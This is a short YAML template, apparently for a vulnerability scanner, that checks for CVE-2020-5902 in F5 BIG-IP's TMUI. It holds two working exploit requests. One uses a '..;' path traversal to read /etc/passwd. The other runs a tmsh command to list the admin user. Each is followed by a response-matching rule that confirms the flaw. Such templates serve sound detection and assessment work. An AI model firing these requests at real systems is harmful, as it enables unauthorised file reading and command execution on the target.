id: CVE-2020-5902
info:
  name: F5 BIG IP TMUI RCE
  risk: Critical

params:
  - root: '{{.BaseURL}}'

requests: 
  - method: GET
    redirect: false
    url: >-
      {{.root}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
    headers:
      - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36
    detections:
      - >-
        StatusCode() == 200 && RegexSearch("resBody", "root:[x*]:0:0:")

  - method: GET
    redirect: false
    url: >-
      {{.root}}//tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
    headers:
      - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
    detections:
      - >-
        StatusCode() == 200 && StringSearch('body', 'output"') && StringSearch('body', '{"error"')

references:
  - https://www.cvebase.com/cve/2020/5902